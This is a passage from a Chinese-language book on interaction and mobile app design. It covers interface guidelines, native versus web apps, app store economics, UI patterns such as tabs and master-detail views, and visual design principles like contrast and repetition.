●　把元素进行分组，创建一种视觉层次结构，并通过坚持一种结构在每一层指导流程。

●　保持一致。如果用户理解一种交互或元素，他们应该能够把这种知识转换成类似的元素（一个称为“继承”的概念）。

●　不要使用户感到不知所措。使多余的事物（比如动画和醒目的悬停效果）保持最少。

●　在交互式元素与非交互式元素之间应该有清晰的区别（可视的功能可见性）。

●　按钮应该看起来像按钮，而不应该混入界面中。

●　使视觉元素保持高效。从像素中获得最大的价值。对像文字大小和颜色这样的方面进行限制；相反，可以使用某些颜色使重要的元素更为突出。

●　照顾辨色困难和视力受损的用户的需要：遵循最佳实践，比如给链接加下划线以及使用符号（在合适时）。

●　这里列出的准则仅仅是准则，如果另一种方式更有益于用户，则可忽略它们。


 2.4　结论

尽管交互设计尚处于幼年期，我们还是学到了关于它的许多知识。电脑和Web从我们坐在桌子前与之交互发展到可以在智能手机或平板电脑上随身携带。数字世界让我们变得更舒适，可以让我们进行社交活动、采购、研究重要的决策，以及做我们日常生活中的大量事情。

对于许多人来说，设计仅仅是一个视觉外壳或装饰层。那些未置身于设计中的人很容易想当然地认为平衡了形式和功能、美感和可用性的应用程序只不过是令人愉悦地安排颜色、文字和意象的结果。不过，这里的缺陷是：想当然地认为可以通过在画布上四处移动元素直至得到想要的效果，来找到设计问题的良好解决方案。这不仅会弱化设计师的作用，而且会使把设计师带到这个位置的多年的实践、研究和技能贬值。
(18)



优秀的设计师理解如何平衡设计的看不见与看得见的方面。在只有模糊的概念、异类的图像和半生不熟的内容的地方，他们会创建含义和唤起人们的情绪。在牢记总体目标的情况下，系统地处理项目以及交付同时满足客户和用户要求的解决方案是设计师的价值所在。设计师会指导客户经过这个过程。优秀的设计师能够领会技术发展，聪明地与开发人员交流，以及设身处地地为缺少技术和Web知识的用户考虑并创建极佳的体验。

我们在口袋、家里和企业里通过屏幕联系得越多，看不见的界面就显得越重要。设计应该通过给我们展示完成任务或实现目标的最佳途径，显示出对于我们生活的意义。交互设计不会大声喊着“看我”！它只会站在一个不起眼的位置，并且说“做这件事”或者“从这里看过去”。通过所有这些较小的触点，设计可以对人们和世界产生重大的影响。

优秀的设计师可以同时看到森林和树木，即把设计分成可见的和不可见的两方面来看待。

关于作者

“个人的成长比一个虚的称号更重要。”

Francisco Inchauste（生于1975年）在密歇根州长大，并开始涉足印刷品的图形设计，后来转行进行交互式设计。Francisco现在是Universal Mind的用户体验设计师，致力于为桌面、Web和设备开发应用程序。他最喜爱的颜色组合是#333333与#3399CC，他的座右铭是“尽你所能做到最好”。家庭、音乐、电影和跑步占据了Francisco的空闲时间，并且他偶尔也会享用一杯优质啤酒。他个人给读者的忠告是：他希望本书以及他所编写的章节能够使读者在他们下一次的项目设计中以及在他们持续的成长中产生灵感。
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第3章　设计移动用户体验
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 3.1　软件的未来是移动的

在临近本月末的某个时间，一张巨额支票将被送到某位软件开发人员的邮箱中，因为数以千计的陌生人为他们的手机购买了他或她的应用程序。是什么使得这款应用程序取得了如此巨大的成功呢？是它的口碑宣传吗？或许它在流行的博客上被展示为“选秀状元”。这可能有许许多多的原因，但是几乎所有流行的应用程序的一个共性是它们都是良好地设计出来的。它不仅仅是漂亮的界面，也不仅仅是迷人的主特征或者良好制作的图标，而是完全小心翼翼地精心设计的用户体验。多站在用户的角度考虑问题是构建优秀软件的必要条件，在移动界面开发世界里尤其如此。

最佳的应用程序工作得很好，但是构建一个看起来很漂亮并且工作得也很好的应用程序并非易事。设计移动应用程序的用户体验特别具有挑战性，因为它需要设计师拥有多个方面的技能：交互设计、图形设计、信息架构和人类工程学，等等，仅举几例。设计师不能简单地逐个屏幕地制作应用程序的实体模型，而不仔细考虑软件的总体流程和感觉。如果没有透彻理解应用程序的总体目标，那么将会削弱设计的驱动力。在处理移动应用程序时，尝试成为设计的摇滚巨星是无益的；相反，要集中精力成为设计的禅师。考虑用户，思忖他们将如何看待你的应用程序；成为在做出决策前能够从各个方面看到设计问题的深邃的思想家，然后一路上随时准备做出改变。用户体验设计结合了多个方面的知识，因此设计迷人的移动应用程序需要结合多种观点和技能。

3.1.1　本机应用程序与Web应用程序

所有的Web开发人员都知道HTML、CSS和JavaScript，在开始构建移动应用程序时，他们不希望把这些技能束之高阁。为什么仅仅由于平台改变了就要抛弃多年的经验呢？这是使用Web技术而不是平台所固有的语言构建移动应用程序的关键理由之一。

使用Web技术的另一个常见的理由是：移动应用程序将可以不加修改地运行在多个平台上。iOS、Android及其他平台使用WebKit驱动的浏览器，因此HTML5、CSS3和其他Web技术在它们上面将工作得非常好。如果你想支持较旧的浏览器，圆角、阴影、文本阴影、渐变和动画通常会被禁止；但是，在构建移动Web应用程序时，一切都畅行无阻。有了这么多优点，为什么每个人不在浏览器中构建移动应用程序呢？好吧，另外还要牢记一些明显的缺点。

●　难以销售

Google和Apple提供了轻松的方式，可以让你通过它们的商店销售你的应用程序。销售移动Web应用程序更困难，因为分发和付款完全依赖于开发人员。

●　难以接近受众

当用户想要更多的应用程序时，只需点按他们的手机屏幕，调出平台内置的应用程序库。他们立即就可以访问成千上万个应用程序，它们都是按照普及性进行分类和排序的。不能像这样直接访问Web应用程序。

●　性能问题

在涉及性能时，本机应用程序将胜过Web应用程序。在浏览器中运行HTML页面几乎不会像运行编译过的本机代码那样快速或者是高效内存。

●　缺少构件

在用于iOS和Android的框架中包括有数十个默认的用户界面组件。如果你正在构建移动Web应用程序，那么将不得不自己开发它们。有一些良好的框架用于移动Web应用程序，但是与对应的本机框架相比，它们不那么优雅。

即使你的体验来源于Web开发，也不要对本机应用程序开发感到恐惧。它们二者具有许多相似之处，尤其是在涉及开发用户界面时。如果你确实决定开发移动Web应用程序，那么就这样做，因为它最适合于你的用户，而不仅仅是因为你更熟悉它。

3.1.2　构建和销售应用程序

尽管屏幕很小并且功能有限，移动应用程序也不容易构建。它们是利用先进的程序设计语言和复杂的API创建的。iOS应用程序是使用Xcode
(1)

 开发的，Xcode是一款允许开发人员在一个集成的环境中编写和调试代码的应用程序。用于iOS的应用程序通常是使用Objective-C编写的，Objective-C是一种面向对象语言，它是C语言的一个超集。Android应用程序是使用Java开发的，并且大多数开发人员使用Eclipse作为他们的开发环境。iOS应用程序背后的代码看起来与Android背后的代码差别很大，但是其中许多范式非常相似。一个平台的开发人员通常能够阅读和理解来自另一个平台的代码，但是完全学会语言可能要花一段较长的时间。

一旦完成了一个应用程序，它不会魔术般地出现在人们的手机上，人们必须下载它。但是用户在哪里下载应用程序呢？它依赖于用户的移动设备、他们居住的国家以及其他可变的方面。一般来讲，iOS用户使用Apple的App Store，Android用户则使用App Market。把应用程序上传到任何一个库中都的确是一项任务，但是对于iOS应用程序，这个过程要复杂得多。

为了把应用程序提交给Apple，以便让它考虑把你的应用程序摆进App Store中，你必须是iOS Developer Program的注册会员，并且每年要支付99美元的会费。Apple免费分发iOS开发工具（Xcode、Interface Builder、iPhone Simulator、Cocoa Touch API等），但是要收取一定的费用以让你在物理设备上实际地测试应用程序以及把它提交到App Store。一旦应用程序在App Store中可用，每次有人购买应用程序时，开发人员将净得销售额的70％，Apple则净得余下的30％。

Google具有类似的计划：SDK和工具是免费的，但是会一次性收取25美元的费用，以让你注册为开发人员并且能够把应用程序提交到Android Market。两种分发模型之间的最大区别是：与Apple相比，Google的批准过程要宽松得多，并且会批准几乎一切应用程序，只要不是明显违法即可。此外，用户还可以从除Android Market之外的位置下载应用程序。与iOS应用程序相比，免费的Android应用程序也要多得多，几乎是它的两倍。许多Android开发人员免费分发他们的应用程序，而代之以通过广告赚钱，因为购买应用程序的过程较之Apple的App Store和iTunes的垂直一体化的程度较低。与Apple的App Store相比，进入Android应用程序生态系统也要容易得多，这使得Android对于许多新的移动开发人员非常有吸引力。

3.1.3　移动应用程序的价格和第一印象

Madden Football（《麦登橄榄球》）这款游戏几乎登录了每一款游戏平台，它拥有无数的粉丝。作为历史上最成功的体育视频游戏的职业运动队，Madden吸引了追求完美的游戏迷。年复一年，游戏变得越来越复杂，并且添加了只有那些最狂热的橄榄球迷才会欣赏的新玩法、特性、多玩家选项、庆祝触地得分的舞蹈以及数十种其他的小细节。随着开发团队变得更大以及预算增加，游戏的价格也在稳步攀升；对于大多数游戏机和电脑版本，游戏的价格将近60美元。
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用于iPad的Madden游戏

但是这是什么？用于Apple的iPad的Madden2011怎么只需12.99美元？它的漂亮的高分辨率图形吗？平板电脑版本包含几乎所有的玩法吗？它具有全新的触摸屏控制，包括iPad所特有的点按以进行传球的特性吗？用于iPad的Madden显然非常便宜，尽管如此，它仍然是市场上最炫目、最复杂的iPad游戏。

令人难以置信的是，价值12.99美元的iPad或iPhone应用程序被认为处于价格范围的高端。用于iOS设备的大多数移动应用程序只有几美元，并且许多最流行的应用程序的价格自始至终都在1美元以下。如前所述，在Android上，免费应用程序与付费应用程序的比率高于在iOS上的比率。人们在下载应用程序时几乎不需要做什么，就能把免费的和近乎免费的应用程序交到贪婪的智能手机用户手中，并且只需很短的时间就能吸引他们的注意力。

是什么抓住了人们的注意力？是经过辛苦设计的用户界面中的漂亮截屏图。不要让有的人在你的应用程序前一扫而过。仔细处理细节，使每个像素绝对完美。你不会得到第二次机会来给予用户第一印象——尤其是不在App Store中。

3.1.4　移动应用程序需要哪些设计技能

现在是成为移动应用程序设计师或开发人员的极佳时刻。几乎每个大型游戏工作室和软件公司都指望把移动软件构建或整合到其产品组合中去，并且所有这些公司都需要能够精心设计漂亮的用户体验的注重细节的设计师。

每个人都有一段关于其老板的故事，说他们的侄女或侄子具有一个Web设计应用程序，并且可以搭建一个网站。“当她可以免费做这项工作时我为什么还要付费让你来完成它呢？”，老板总会这样问。好吧，如果你受挫于Web设计的世界，那么你建议你把才华和技能集中在移动应用程序上，了解是什么使移动应用程序变得优秀，研究这个世界里最漂亮的应用程序的像素。在你所选的设计应用程序中尝试再现来自于Android或iOS的你所喜欢的界面元素。构建移动应用程序设计作品的代表作选辑。如果你希望变得富有，那么今天就开始努力工作，明天你就可能成为著名的移动应用程序设计师。这个行业非常开放并且是全新的，因此现在是留下你的深刻影响的理想时间。


 3.2　移动软件是独特的（并且难以掌握）

移动应用程序设计类似于其他设计学科，但是也有几个关键的区别。首先，所有的一切都更小：包括屏幕、价格和功能。其次，平台受到严格控制，如果你具有CSS技巧和Internet Explorer的相关知识，你应该感到高兴。作为致力于移动应用程序的设计师，你将能够在像素级别精确控制用户看到的一切内容。最后，从事移动应用程序设计比网站和桌面软件的设计更有趣。你可以更快地到达你的目标，并且对成品的高保真模拟将更真实。

当然，仅仅由于某件事情很有趣并不会使得它更容易。设计移动应用程序的界面很困难，因为绝对没有犯错误的余地。每个像素都必须是完美的，每个图标都必须是质朴的，每种隐喻都必须非常清晰。你能胜任这项挑战吗？

3.2.1　桌面和Web软件非常大，移动软件则较小

你可能从未用过Adobe Photoshop中的所有特性。这个庞大的行业标准的设计应用程序具有10个以上的菜单，并且在MacBook Pro上几乎每个菜单都会占据一半以上的垂直空间。其中许多菜单项都包含子菜单，毫不夸张地讲，估计在整个应用程序中有上百种截然不同的独特特性。

许多桌面应用程序被看作是一个巨大的功能集合，其中一些特性隐藏得如此之深，以至于它们永远都将暗无天日。以3D和运动图形程序包为例：它们提供了无穷无尽的方式用于调整图示符、物体、纹理或动画序列。像Apple Keynote和Microsoft Excel这样的软件怎么样？Xcode呢？作为开发人员，当我想到需要上百万行代码来构建那些应用程序并且要组建工程师团队坚持不懈地处理它们时，我就觉得晕头转向。

Web软件以及最流行的网站和Web应用程序（如Facebook、Gowalla、Google Docs、Reddit）又如何呢？它们自身都是庞然大物。它们可能没有上百个特性，但是随着你变得更熟悉这些服务，当然会发现它们深层的复杂性。

如果Web应用程序和桌面软件是SUV（越野车），那么移动软件就是Lotus（莲花）Elise跑车：小巧，没有SUV方便、快速、特制、紧凑，但是这并不意味着在设计时需要较少的思考和努力。不，它不能牵引拖车，也没有提供乘坐7位乘客的空间，但它确实可以非常快速地把两个人从A处运送到B处。

移动软件目标明确、严密、简洁，并且设计用于特定的任务。它不应该做所有的事情；但是对于它所做的事情，它应该做得非常好。移动设备需要接受一个接一个的条件限制——没有键盘（或者只有最低限度的键盘）、小屏幕、很少的按钮——因此设计它们就是在练习构建智能、简单的软件。有没有比较大的移动应用程序呢？不太多。大多数开发人员都使他们的产品重点发挥一种功能或者一组相关的功能。

3.2.2　削减功能列表，只选择那些最重要的

设计一款优秀的移动应用程序意味着你要有意地省略一些不合适的功能。持续地削减范围和功能列表，直到你对移动应用程序设计中的功能感到满意为止。

2002年，信息架构师Dan Brown描述了他所命名的“页面描述图”，
(2)

 它们是给Web页面上的各个功能块附加优先级的方式，而不用像传统的线框那样指定布局。尽管它们旨在用于网站开发，我发现类似的概念也适合于移动应用程序，其中屏幕空间非常珍贵。我把这些称为“界面描述图”，并且我现在把它们用作设计前的练习，用于强调或削减应用程序的给定屏幕或区域的各个特性。

假定我们正在为一家折扣旅行社设计一款旅行安排应用程序，该应用程序需要执行网站提供的主要任务：搜索、浏览和选择航班。假设我们正在查看搜索结果页面，其中列出了与一些提交的条件匹配的航班。这个页面的主要元素将是航班列表，并且由于每一行只能显示少量的数据，苛刻的设计选择将列在前面。下面列出了每一行中可能展示的一些用户界面元素：

●　航空公司的名称；

●　出发的日期和时间；

●　到达的日期和时间；

●　目的地机场；

●　飞行时间；

●　航班号；

●　时区；

●　转机次数；

●　座位类型（经济舱、公务舱、头等舱等）；

●　提供的食物（饮料、小吃、全餐、含酒精的饮料等）；

●　价格；

●　税和小费。
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对于每种结果，至少有一打不同的信息可供使用，但是，如果不想使表格看起来很混乱，那么将无法把它们压缩进单个表格行中。我们要做些什么？首先，让我们创建界面描述图，并且开始为这个屏幕设定最重要的界面元素的优先级：

●　出发的日期和时间；

●　价格；

●　到达的日期和时间。

现在设定次重要的元素的优先级：

●　转机次数；

●　航空公司的名称；

●　航班号。

现在设定最不重要的元素的优先级：

●　目的地机场；

●　飞行时间；

●　时区；

●　座位类型（经济舱、公务舱、头等舱等）；

●　提供的食物（饮料、小吃、全餐、含酒精的饮料等）；

●　税和小费。

为什么把一些似乎有用的信息降级为“最不重要”的状态？这主要是由于这些信息不需要出现在重要的位置：它们可能出现在表格的标题中，是标题栏的一部分，或者在前一个屏幕上进行过解释，等等。位于最低优先级的组中并不意味着我们将不会显示或者指定这些项；只是它们不是需要优先放置的“头等公民”。在牢记这一点的情况下，下面显示了用于这个特定屏幕的可能的设计解决方案。
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可以看到，高优先级和中等优先级的元素在设计中将高亮显示：出发时间是以大号粗体字设置的；价格是右对齐的并且显示为深绿色，到达时间偏离了行的左边，以便更容易浏览；航空公司和航班号显示在每个单元格中，但是利用较小的字体和更透明的颜色从视觉上取消了它们的优先级设置。

现在让我们探讨如何处理低优先级的元素。如前所述，这些可能不需要直接显示给用户，而且可以进行暗示或者在某些情况下是可见的。让我们逐一仔细检查每个低优先级的项目。

●　目的地机场


在尝试寻找航班的最低价格时，每一个人都将知道他们的最终目的地，因此我们把目的地放在标题栏中，因为它包含屏幕上的余下信息：可以经由坦帕国际机场把用户带到佛罗里达州坦帕市。注意，不管转机次数是多少，我们都不会在这一步中列出经停机场，因为它们并不重要。人们会基于中途停留的城市选择航班吗？也许在一些情况下会这样做，但是许多其他的因素具有更高的优先级，并且在移动应用程序的有限的屏幕空间里，必须做出牺牲。一个不错的折中将是在确认屏幕上显示在旅行完成前航班可以转机的城市。

●　飞行时间


出发和到达之间的时间之差就是总的飞行时间。在较大的屏幕上，也许我们可以进行数学运算并显示这个数字，但是在移动应用程序中，它并没有较高的优先级。

●　时区


仅当人们飞往不同的时间时，此类信息才是真正必要的。在这个屏幕上，我在设计布局时，假定人们正在飞往东海岸，并且没有离开他们的时区。当有人飞往不同的时区时，无需在每个时间旁边附上时区，所有的到达时间都应该是本地的，并且可以在屏幕顶部简单地注明这一点。

●　座位类型（经济舱、公务舱、头等舱等）


这通常是在主搜索屏幕上由用户指定的，因此无需在这里显示它。

●　提供的食物（饮料、小吃、全餐、含酒精的饮料等）


同样，只在某些情况下才需要此类信息。飞往坦帕的国内航班只要几个小时，因此将不会提供全餐。如果航班时间更长，那么可能在选择航班后显示提供的膳食。

●　税和小费


此信息适用于这个屏幕上的所有结果，因此我把它包括在表格的标题中。它将与表格一起滚动，因为一旦用户看见了它，在滚动时它就无需占用空间了。为了节省甚至更多的空间，我们可以把该信息移到前面的搜索屏幕中。

用于移动设备的旅行应用程序需要重点关注主要的任务，而不要在每个屏幕上都塞满每种功能，可以说对于几乎任何移动应用程序都是如此。如果你尝试确定要包括哪些特性以及要放弃哪些特性，那么可以像上面那样在界面描述图中设定特性的优先级。它是极佳的设计前的练习，可以强制你考虑屏幕上的主要元素。

3.2.3　少数功能使你的错误显而易见

虽然智能手机的屏幕很小但这并不意味着从事它的设计工作很容易，实际上这要困难得多。是的，屏幕上的像素较少，但是这只会留下更多犯错误的机会。每个错误都会被放大：每个图标、按钮和版式的选择都要经过仔细的检查。错误无所遁形，也无处隐藏考虑不周的用户界面构件。

当同时出现在屏幕上的特性较少时，用户的眼睛就只要关注较少的位置，查看较少的事情，与较少的事情交互，点按较少的按钮以及阅读较少的标签。

等等！文本标签被视作界面的一部分吗？它们当然是，并且也是最重要的部分之一。每个字母都是重要的，每个单词也是如此。注意按钮标签、屏幕标题、报错通知和小节描述是把世界级的界面设计师具备的优秀素质。按钮的标签应该是“Save（保存）”或“Submit（提交）”吗？“New（新建）”或“Create（创建）”怎么样？你会在整个应用程序中使用相同的约定吗？这些小事也很重要，当把这些处理好后，它们就一起构成了迷人的用户界面。
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注意标签

那么，如何查找并修正这些弱点呢？怎样确保所有的一切都保持一致？答案是查看每一个像素。记住是每一个，这意味着什么呢？它意味着使用缩放、对齐和测量工具，确保所有的一切都是完美的；它意味着要进行复查，以确保设想要居中显示的元素实际上完美地居中显示；它意味着确保面板和按钮的边缘非常鲜明，而不会因为随随便便地调整大小而变得模糊不清。细节就是设计。

它们不是事后产生的想法，也不是在以后进行修正的；它们是优秀的设计师所做的一切事情的不可或缺的一部分。每个图标、每个标签、每个按钮、每个像素都应该小心处理，就好像它们有10英尺高，并且正在盯着你的脸看一样。

敷衍了事很容易。要做到完美需要付出时间和努力。幸运的是，漂亮的、像素完美的界面让你具备巨大的竞争优势，这一切只需要一些小心谨慎的设计即可实现。


 3.3　移动应用程序的UI设计模式

程序员使用设计模式以可重复、可靠的方式解决常见的软件问题。一些常见的软件设计模式有“工厂”（Factory）、“装饰”（Decorator）和“委托”（Delegate）。对你来说，它们听起来可能显得极为专业，但是设计师在精心设计复杂的用户体验时将使用他们自己的模式集。尽管你的应用程序可能是独特的，但是你正在解决的高级问题很可能在以前就被解决过了。例如，一次显示应用程序的一个部分和允许用户继续深入以查看关于某个项目的更多信息是被反复使用的用户界面范式的两个示例。让我们探讨可以用于构建移动应用程序的一些常见的界面设计模式。

3.3.1　单选

在Web上，单选按钮允许用户从多个选项当中选择一个选项。像试卷上的单项选择题一样，用户只能从中选择一个选项。

一次只显示应用程序的一个部分通常是有效的。例如，如果你提供了许多不同类型的内容和功能，那么使它们保持独立，并且允许用户只与一个主要的功能交互就很有意义，这样其他的功能就不会对用户造成妨碍。

许多设计师利用选项卡实现单选界面模式。每个选项卡都对应于应用程序中的一个不同的屏幕，并且点按选项卡将立即切换到那个屏幕。保留选项卡的状态很重要，使得用户在切换回前一个屏幕时可以重新显示他们停止的位置。这建立了信任，并且使用户能够自由且自信地探索你的应用程序。可以用多种方式实现这种模式，它是移动应用程序中最常见的模式之一。
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使用选项卡实现的单选界面

在上图的示例A中，在屏幕底部可以看到一个正常的选项卡栏，其中带有可选择的选项卡。示例B显示了一个可以滑动的按钮栏，它允许比选项卡栏更多的选择。在可滑动菜单的任何一边，按钮都会渐隐，以让用户知道在屏幕以外还可以看到更多的内容。示例C具有一个锚定到屏幕上方的选项卡栏，并且在选项卡上方有一个区域是静态的。这种配置将保持主应用程序级的区域总是可见的，而不管哪个选项卡是活动的。它可以在所有选项卡上方显示相同的信息，或者它可以依赖于哪个选项卡是活动的而发生变化。
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Bjango开发的Beats的自定义的外观和感觉
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用于Android的Gowalla使用选项卡栏界面

Bjango的iPhone应用程序Beats是一款DJ配套的应用程序，它精确地示范了这种界面设计模式。选项卡栏位于屏幕的中间，允许把应用程序的重要区域分隔开。

用于Android的Gowalla应用程序具有一个用于主导航的选项卡栏。Gowalla是一款基于位置的“签到”应用程序，类似于Foursquare，并且在所有主要的移动平台上都可使用。本机Android应用程序是其中更好看的Android应用程序之一，它使用自定义的选项卡栏界面，允许用户在Activity、Spots、Trips和Passport之间切换。

选项卡栏不是实现单选界面模式的唯一方式。Facebook的iPhone应用程序就是一个良好的示例。开始屏幕是表示应用程序主要选择的图标网格。用户选择这些选项之一，并且会被迅速移至别处。它当然是独特的解决方案，但是有不利的一面：如果不返回到网格视图，用户将不能查看其他的选择。现在，用户必须点按两次以切换屏幕，它比传统的方法要多一次点按。
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Facebook采用独特的范式代替选项卡

3.3.2　主体-细节

由于屏幕空间非常小，设计师必须设计创造性的方式以显示深层、复杂的功能。常见的范式是展示一个选项列表，在用户选择一个选项之后，在下一个屏幕上显示相关的项。

这可能发生多次；事实上，如果应用程序足够复杂，那么选择上一级选项并查看其内的选项这个过程可能发生多次。这种界面设计模式被称为“主体-细节”模式。
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在主体-细节层次结构中显示进度的3个屏幕

有数十种Twitter应用程序，并且几乎每种应用程序都使用主体-细节界面模式。在时间线中选择一种推特（tweet）时，它将滑开以显示推特的完整信息。在查看推特时，点按头像将显示作者的人物简介信息。在他们的人物简介中点按“Recent tweets（最近的推特）”按钮将显示他们的时间线，并且这个过程会继续。在主体-细节层次结构中经常可以看到3个、4个、5个以及更多的层级。

把信息堆叠到这种深度将不利于返回，这是它的一个缺点！如果用户具有半打向下的层级，你想强迫他们按下“Back（返回）”按钮5次以返回吗？在用于iPhone的Twitter中，Loren Brichter实现了一个简洁的技术用于解决这个问题：快速点击水平标题栏，将立即把用户返回到最上面的层级。它不是一个明显的解决方案，但确实是一个独特的解决方案。

假定你正在显示了一个具有4行的表格，其中每一行都是可以点按的，并且表示应用程序的主要部分。在这种情况下，也可以使用选项卡栏，因为只有少数几个选择。你何时应该优先使用其中一种方法呢？根据我的经验，当你正在显示的项都具有相同级别的重要性时，就应该使用单选界面设计模式。除此之外，如果你不确信，那么就选择可以让用户利用尽可能少的点按来导航应用程序的设计模式。

3.3.3　多合一

大多数移动应用程序非常简单，重点关注少数几个关键特性，并且回避任何过于复杂的功能。也许你的应用程序只有两三个特性，或者甚至只有一个特性，但是提供了几种方式用于自定义和显示内容。在这种情况下，“多合一”界面设计模式可能比较合适。它只有单个视图，但是提供了一些选项用于修改视图。这种模式的经典应用是一个像较小的卡片列表那样设计的应用程序：在任何给定的时间只会显示一张卡片，然后用户可以点击以查看其他的卡片。Apple的内置Weather应用程序就是这样一个示例，ESPN的ScoreCenter应用程序是另一个示例。使用多合一模式的应用程序通常是包含丰富的信息，并且设计用于快速浏览实用程序，而不是谋杀用户大把时间的应用程序。通常，它们具有可以翻转的视图，用户将在其中设置一些选项，类似于Mac OS X中的Dashboard程序。利用这种简单且明确的方式导航应用程序，设计师可以实实在在地集中精力使每个界面变得完美，以及使每个像素都尽善尽美。
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Apple的Weather应用程序，显示了一个多合一的界面

3.3.4　丰富的体验

游戏和娱乐应用程序通常不遵从上述的约定，而是完全遵从它们自己的约定，我把它称为“丰富的体验”界面设计模式。

在丰富的移动体验中，应用程序将接管整个屏幕，并使用户沉迷于它的独特的视觉和听觉世界中。几乎每一款移动游戏都使用这种范式来设置情绪，并主张完全控制用户体验。
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Archetype，这是一款用于iPhone的第一人称射击游戏，正好示范了人们在移动应用程序中可以产生的体验有多丰富

设计丰富体验的应用程序很困难，因为你不能使用任何内置的默认用户界面元素。所有的一切都必须是自定义的设计，以完美地适应应用程序的外观和感觉。甚至一个默认的构件或按钮也会毁灭总体的效果。如此多的界面设计师都会犯这种错误。如果你想制作优秀的丰富体验的应用程序，把时间和注意力花在每个细小的细节上就是至关重要的。

在这里要特别注意，动画细节很重要。动画是优秀界面的重要部分，因为它建立了期望，并且可以让用户从一个屏幕到另一个屏幕跟踪视觉变化。在屏幕上点击一个标志，然后立即切换到一个菜单，这看起来有些不连贯，并且会使人分心。从一个屏幕转移到另一个屏幕的更好的方式是使用细微的动画，它使用“缓动”以自然的方式加速或减速。快速、激进的动画将为快节奏的应用程序设置情绪，而慢速、谨慎的动画则会把用户置于一种柔美、放松的精神状态中。

Zen Bound是iPhone上的最吸引眼球的应用程序之一。它的平静的声道和缓慢渐隐的动画把用户置于一种宁静的状态。应用程序中常见的动画是在屏幕之间渐隐成黑色，然后一旦加载了下一个屏幕再渐现回画面中。永远也不会出现突然的视觉中断，它总是平滑的并且是精心计划的。这些技术以及悦耳、令人身临其境的音效使Zen Bound成为任何设备上体验极佳的移动应用程序之一。
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少数应用程序像Zen Bound一样是沉浸式的

3.3.5　自定义的界面范式

就像一系列不连贯的短句读起来令人厌烦一样，一个接一个地使用完全相同的界面范式也令人厌烦。要把它们混合起来使用！在某些情况下不要受到大多数应用程序的工作方式的限制：如果你认为自己有一个更好的解决方案，那么就要努力实现它。doubleTwist是一款用于Android的音乐播放器，具有较暗的、超前卫的界面。它是完全自定义地设计的Android应用程序的优秀示例，主要界面看起来类似于iPhone上的Facebook。它具有像网格一样的主要区域列表，但是与任何其他的Android或iOS音乐应用程序不同的是，它的音乐播放器屏幕具有完全自定义的界面。

[image: ]


doubleTwist应用程序的自定义的音乐界面

Convertbot是一个用于iPhone的单位转换计算器，它具有完全自定义的、独一无二的界面，用于执行像货币转换这样普通的任务。转换数字几乎就像游戏一样。首先，点按屏幕顶部看起来非常逼真的LCD面板以输入数字。然后，使用旋转的内部转轮选择想要进行的转换类型：货币、距离、重量等。然后，选择你要转换的单位，并输入相应的值。它是一个包含多个步骤的过程，可以让用户感觉到就像他们身处精密机器人的命令中。Tapbots的团队可以使用一系列正常的选择器和一个包含多个步骤、多个屏幕的过程来完成相同的任务，但是他们选择走得更远，并且仅仅为这个应用程序就构建了一个完全自定义的界面。Convertbot一直都是Apple App Store的Utility部分中最受欢迎的应用程序之一，这并不令人感到惊讶。

漂亮的自定义界面最早的示例之一是“Where To?”，现在这个称号归FutureTap所有。作为首批具有逼真的触摸式界面的iPhone应用程序之一，它有助于定义优秀的移动应用程序的外观。
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自上而下完全自定义的界面
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“Where To?”是首批逼真的iPhone应用程序之一

为了找到要去的地方，可以简单地点按转轮上的构件，它是界面的主要发起点。转轮范式非常好，并且比简单的表格视图更容易理解和浏览。转轮看起来像优质的磨砂塑料，可用于制作智能手机的外壳。它放置在质感丰富的皮革上面，这带来了极佳的用户体验。


 3.4　移动应用程序的视觉设计

虽然策划优雅的用户体验以及调整每种交互很重要，但是也不能忘记使这一切成为可能的像素。当然，我谈论的是视觉设计，即移动应用程序的实际外观。

设计优秀的移动应用程序将把许多学科集中到一起，但是我坚持认为视觉设计是其中最重要的。你可以把所有适当的部分组装起来，并且完美地计划每个屏幕界面，但是如果你的设计很糟糕，那么随着时间的推移，所有这一切都会变得毫无意义。

优秀的视觉设计师就像能够击中投球手投出的90英里／小时（mph）的快球的天才。一些设计师从一开始就让人惊艳，而其他设计师会有较好的表现，并且随着时间的推移通过实践变得让人惊艳。一些人开始时身体里没有艺术细胞，但是他们极其努力地工作，并且在整个职业生涯中一直在磨练他们的技能。不管你多么有才华，总是可以利用一些通用的原则使自己的作品更上一层楼。我的头脑中自始至终都会想着这些珍贵的话语。就像高尔夫球手在挥杆击球时会牢记几条关键的原则一样，本节可以作为你在处理移动应用程序的外观和感觉时的实用参考。

3.4.1　对比

良好的对比对于移动应用程序至关重要，因为它会影响用户查看设计的方式……确确实实是这样。对比指不同或类似的元素相对于彼此是如何显示的。如果设计中的所有内容看起来都非常相似，那么用户将不知道首先观看哪里：屏幕上将是一堆乱七八糟的RGB值。如果你对用户应该先观看哪些界面元素不敏感，那么将不能够有效地设置每个元素的优先级。不佳的对比可能需要用户在界面中观看第二次或第三次才会注意到的最重要的功能，或者根本就不会看到它。

为了获得良好的对比，不同的元素应该能够让人很明显地看出它们是不同的。如果它们看起来只是稍有不同，那么用户将会混淆，并忽略它们之间的视觉关系。强烈的视觉对比可以沿着屏幕指引用户的眼睛从一个元素移到另一个元素。如果处理得当，那么用户将以你想要的精确顺序查看所有的元素。如果处理不当，那么可能会掩盖重要的元素，从而引起混淆。

[image: ]


对比可以指引用户观看界面上的重要部分

iSaidWhat?！是一种录音应用程序，可以让你录制和排列音频剪辑。它是市场上品种繁多的应用程序中最为优秀的产品之一，它的视觉设计非常醒目。该应用程序的主要功能是录制音频，并且设计师做了非常好的工作，使大的红色录制按钮成为录制屏幕上最显眼的元素。淡蓝色的声音波形区域及其他灰度元素逐渐减弱，可以让录制按钮更醒目。即使有5个按钮位于屏幕底部，较大的录制按钮也根本不会混入其中。想象一下，如果你不能看一眼就知道录制按钮在什么位置则将会如何？应用程序的主要功能将不会突出。极佳的对比使这种设计获得了成功。

3.4.2　重复

要使用户信任和熟悉你的应用程序，你需要使他们感到可以舒适地使用它。有多种方式可以达到这个目的。就视觉设计而言，可以通过注意你在整个应用程序中编排相关项的样式来建立信任。通过为相似的元素重复使用样式，可以使用户适应应用程序的含义及其元素的重要性。忽视这一点将产生混淆。因此，要使相关的元素看上去和感觉上是相关的，尤其是在一行中出现多个这样的元素时。

Pastebot是重复使用样式以建立熟悉性的优秀示例。该应用程序的核心是一个剪贴板管理器，用于存储文本、图像、URL及复制到iPhone中的其他项目。复制项目的列表是应用程序中的一个关键屏幕，不管存储的项目类型是什么，视觉设计都是熟悉的，并且相关的动作将保持一致。由于每个项目没有它自己的外观，用户就知道他们将能够以一致的方式操作这些项目。
